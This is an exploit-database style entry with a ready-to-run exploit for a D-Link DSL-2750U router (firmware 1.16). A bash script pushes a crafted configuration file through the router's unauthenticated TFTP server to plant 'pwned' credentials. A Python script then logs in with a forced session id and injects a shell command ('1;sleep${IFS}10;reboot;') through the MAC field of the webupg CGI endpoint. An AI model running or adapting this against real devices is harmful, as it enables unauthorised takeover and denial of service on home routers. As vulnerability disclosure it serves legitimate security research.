# Exploit Title: Dlink DSL2750U - 'Reboot' Command Injection
# Date: 17-06-2021
# Exploit Author: Mohammed Hadi (HadiMed)
# Vendor Homepage: https://me.dlink.com/consumer
# Software Link: https://dlinkmea.com/index.php/product/details?det=c0lvN0JoeVVhSXh4TVhjTnd1OUpUUT09 Version: ME_1.16
# Tested on: firmware GAN9.ET235B-B-DL-DSL2750U-R5B028-ME.EN_2T2R*
# https://github.com/HadiMed/firmware-analysis/tree/main/DSL-2750U%20(firmware%20version%201.6)
###
#!/bin/bash
# Exploit by HadiMed
# Takes advantage of the tftp server that accepts the cfg file blindly
echo -ne "\n"
echo "Exploiting Dlink DSL-2750u version 1.6"
echo -ne "\n\n"
# Sending the payload
echo -ne "binary\nput cfg.xml\nquit" | tftp 192.168.1.1
echo -ne "\n"
echo "File uploaded Successfully"
echo "Waiting for router to restart"
sleep 180 # approximate time for router to restart
python3 exploit.py
###
import requests
# HTTP request looks like this
'''
POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.1.1
Content-Length: 175
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/cgi-bin/webproc
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: sessionid=deadbeef; language=en_us; sys_UserName=user; sessionid=634cdf91
Connection: close
getpage=html%2Findex.html&errorpage=html%2Fmain.html&var%3Amenu=setup&var%3Apage=wizard&obj-action=auth&%3Ausername=user&%3Apassword=user&%3Aaction=login&%3Asessionid=634cdf91
'''
# 1 Getting a session id
# password and username crafted by me on the cfg.xml file
username = "pwned"
password= "pwned"
# acually the client set the sessionid in condition that the password and username are correct
Cookie="sessionid=deadbeef; language=en_us; sys_UserName=pwned; sessionid=deadbeef"
Contentty="application/x-www-form-urlencoded"
Referer="http://192.168.1.1/cgi-bin/webproc"
Contentlen="175"
# Sending first request to set our session id
response = requests.post("http://192.168.1.1/cgi-bin/webproc",
headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
,
data={ "getpage":"html/index.html",
"errorpage":"html/main.html",
"var:menu" : "setup",
"var:page":"wizard",
"obj-action":"auth",
":username":username,
":password":password,
":action":"login",
":sessionid":"deadbeef"
}
)
Referer = "http://192.168.1.1/cgi-bin/webupg"
name = "mac"
cmd = "1;sleep${IFS}10;reboot;"
Contentlen = str(len(name+cmd)+10)
if response.status_code==302:
print("got sessionid=deadbeef !\n waiting for the reverse shell ...")
# access cgi-bin/webupg
try :
response = requests.post("http://192.168.1.1/cgi-bin/webupg",
headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
,data = {"name":name , "newmac":cmd} , timeout=0.0000000001
)
except requests.exceptions.Timeout :
print("done router will restart in 20 sec")
print("Device restarted!")
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